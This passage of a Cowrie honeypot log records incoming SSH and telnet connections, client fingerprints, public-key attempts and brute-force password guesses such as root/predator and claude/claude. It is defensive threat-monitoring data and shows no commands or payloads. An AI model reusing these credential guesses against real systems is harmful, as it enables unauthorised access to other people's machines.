{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56660,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d80422a9e42","protocol":"telnet","message":"New connection: 192.119.13.58:56660 (10.17.0.5:23) [session: 6d80422a9e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:02:59.584821Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59086,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f2c00596a86","protocol":"telnet","message":"New connection: 192.119.13.58:59086 (10.17.0.5:23) [session: 8f2c00596a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:00.184550Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":36440,"dst_ip":"159.203.135.109","dst_port":22,"session":"d16ef8ec1c9f","protocol":"ssh","message":"New connection: 14.224.227.189:36440 (159.203.135.109:22) [session: d16ef8ec1c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:11.448393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:11.453377Z","src_ip":"14.224.227.189","session":"d16ef8ec1c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:11.698019Z","src_ip":"14.224.227.189","session":"d16ef8ec1c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"github","message":"login attempt [git/github] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:12.714462Z","src_ip":"14.224.227.189","session":"d16ef8ec1c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:13.964768Z","src_ip":"14.224.227.189","session":"d16ef8ec1c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":56584,"dst_ip":"159.203.135.109","dst_port":22,"session":"9367e034c695","protocol":"ssh","message":"New connection: 103.149.170.125:56584 (159.203.135.109:22) [session: 9367e034c695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:14.039220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:14.045518Z","src_ip":"103.149.170.125","session":"9367e034c695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:14.296336Z","src_ip":"103.149.170.125","session":"9367e034c695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"predator","message":"login attempt [root/predator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:15.048562Z","src_ip":"103.149.170.125","session":"9367e034c695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.678892612457275,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:16.069215Z","src_ip":"192.119.13.58","session":"6ef9b9da7503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:16.303227Z","src_ip":"103.149.170.125","session":"9367e034c695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":3251,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5a7221ea3fa","protocol":"ssh","message":"New connection: 181.0.214.136:3251 (159.203.135.109:22) [session: f5a7221ea3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:30.744115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:30.749294Z","src_ip":"181.0.214.136","session":"f5a7221ea3fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:30.912370Z","src_ip":"181.0.214.136","session":"f5a7221ea3fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fai","message":"login attempt [root/fai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:31.583538Z","src_ip":"181.0.214.136","session":"f5a7221ea3fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:32.750957Z","src_ip":"181.0.214.136","session":"f5a7221ea3fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55942,"dst_ip":"10.17.0.5","dst_port":23,"session":"53593da76254","protocol":"telnet","message":"New connection: 192.119.13.58:55942 (10.17.0.5:23) [session: 53593da76254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:38.450685Z"}
{"eventid":"cowrie.session.closed","duration":45.20680212974548,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:44.791527Z","src_ip":"192.119.13.58","session":"6d80422a9e42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.76313829421997,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:45.947534Z","src_ip":"192.119.13.58","session":"8f2c00596a86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":41060,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c1584ed202d","protocol":"ssh","message":"New connection: 43.156.97.164:41060 (159.203.135.109:22) [session: 3c1584ed202d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:52.159108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:52.163763Z","src_ip":"43.156.97.164","session":"3c1584ed202d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:52.402050Z","src_ip":"43.156.97.164","session":"3c1584ed202d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:53.386384Z","src_ip":"43.156.97.164","session":"3c1584ed202d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:54.627313Z","src_ip":"43.156.97.164","session":"3c1584ed202d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":52296,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3c3e1b4bbad","protocol":"telnet","message":"New connection: 186.195.16.41:52296 (159.203.135.109:23) [session: b3c3e1b4bbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:03:55.154711Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":52294,"dst_ip":"159.203.135.109","dst_port":22,"session":"0efa89afa4c4","protocol":"ssh","message":"New connection: 41.242.115.83:52294 (159.203.135.109:22) [session: 0efa89afa4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:03.978670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:03.991750Z","src_ip":"41.242.115.83","session":"0efa89afa4c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:04.192351Z","src_ip":"41.242.115.83","session":"0efa89afa4c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ansadmin","message":"login attempt [root/ansadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:05.018921Z","src_ip":"41.242.115.83","session":"0efa89afa4c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:06.223004Z","src_ip":"41.242.115.83","session":"0efa89afa4c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47026,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b84d7fcb03","protocol":"telnet","message":"New connection: 192.119.13.58:47026 (10.17.0.5:23) [session: b7b84d7fcb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:07.651152Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f5668d3504e","protocol":"telnet","message":"New connection: 192.119.13.58:39616 (10.17.0.5:23) [session: 6f5668d3504e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:12.862689Z"}
{"eventid":"cowrie.session.closed","duration":38.61959505081177,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:17.070180Z","src_ip":"192.119.13.58","session":"53593da76254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60578,"dst_ip":"10.17.0.5","dst_port":23,"session":"684a523728b5","protocol":"telnet","message":"New connection: 192.119.13.58:60578 (10.17.0.5:23) [session: 684a523728b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:19.382850Z"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.78.51","src_port":46416,"dst_ip":"10.17.0.5","dst_port":22,"session":"d89a40ec8aa4","protocol":"ssh","message":"New connection: 184.154.78.51:46416 (10.17.0.5:22) [session: d89a40ec8aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:23.972492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:23.980940Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.010516Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:a3:6c:f4:da:46:85:76:5d:9b:d6:a3:7a:7d:55:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPg6xPcPol7b2cYTs03a5Fm9SO3pKtoNuE13MwwzFtZwTjdmmuXEv++Zxg2tn3XyGpndr42kOHP2hK96uDIfWmINxuqtptgh2YBuflVUI+AAAi3flXtI0RQzLE6jjPfxEFdIpsQdghJ7eqJQ7sHtWulp7JHqW0hSuILYbHay9STqe5tpKxRpQdkQNWTBACDAOUJV0TWxJ0p+o3v1+moxNIj8FiCah4r6GC6Os3EDx+so5jIs+8f8904tBnMDYqYMywOpBHhyl3QjvYeSBTzG/EEloZMnhNmUhzUFBrYbv+oHIbb/uKHUqf12wA/cFPZ5S1CM6GL9VGsKCLeIAWkQgz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:a3:6c:f4:da:46:85:76:5d:9b:d6:a3:7a:7d:55:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.131038Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:a3:6c:f4:da:46:85:76:5d:9b:d6:a3:7a:7d:55:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPg6xPcPol7b2cYTs03a5Fm9SO3pKtoNuE13MwwzFtZwTjdmmuXEv++Zxg2tn3XyGpndr42kOHP2hK96uDIfWmINxuqtptgh2YBuflVUI+AAAi3flXtI0RQzLE6jjPfxEFdIpsQdghJ7eqJQ7sHtWulp7JHqW0hSuILYbHay9STqe5tpKxRpQdkQNWTBACDAOUJV0TWxJ0p+o3v1+moxNIj8FiCah4r6GC6Os3EDx+so5jIs+8f8904tBnMDYqYMywOpBHhyl3QjvYeSBTzG/EEloZMnhNmUhzUFBrYbv+oHIbb/uKHUqf12wA/cFPZ5S1CM6GL9VGsKCLeIAWkQgz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.135729Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:4b:08:c5:dd:93:ab:6c:d7:df:32:ae:94:0a:d8:76","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID+aWPeawV4UIYyIh5JQlmOWDkECxoss1bc2W6qc8dQ4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2a:4b:08:c5:dd:93:ab:6c:d7:df:32:ae:94:0a:d8:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.166040Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:4b:08:c5:dd:93:ab:6c:d7:df:32:ae:94:0a:d8:76","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID+aWPeawV4UIYyIh5JQlmOWDkECxoss1bc2W6qc8dQ4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.169753Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:f1:45:96:fa:ee:50:9b:46:bf:f1:d2:83:71:be:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJMqCnSMYyeC0m4HFoJ9XUSGR+5j8YO5MXm/OLSHIOSqubaM15U+Cb5otoijQJ9s1Qy44TKg/oPz5SpjnWVLdxTg5tM3/0AIqCwbmpFpU4opiRHgX9QgZ5oryjWAFbBlhPaYWfH9LzKXdQf0oKWbpEb3F++WbxjxL1xMHF4I1lQUa+6vrOyGADpksELj7UBEXzW+WFtlRtiXorprNPfsrZK/Jx5TO1XFe9L2gTsflFu6qDLMpf9jLiWO4qBE+M+sC+JUL+ABSe9t3g1C9KQZhyXyDjRxPX0wTpI3bpMacKsrYGl91nYrwNtV8AtOeGI/JqG9Qe0ytrx1OxQvCDukPUTSJGcJgtnA18kb3x3+1S8YX/EHhowk0J3L9ur5EwLt3nH6IhFp/GC9e0lUpvAXvF2MyGvFQTzNkG+WFND3qtYQSnEA2IPWmJR+HhdLRyvYMk6Y6WoR1jtA4RMmpHK9QV0WPNulDO2Pvg8AXG804Irf6wRyn03RMoM5QQyvVM3O8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 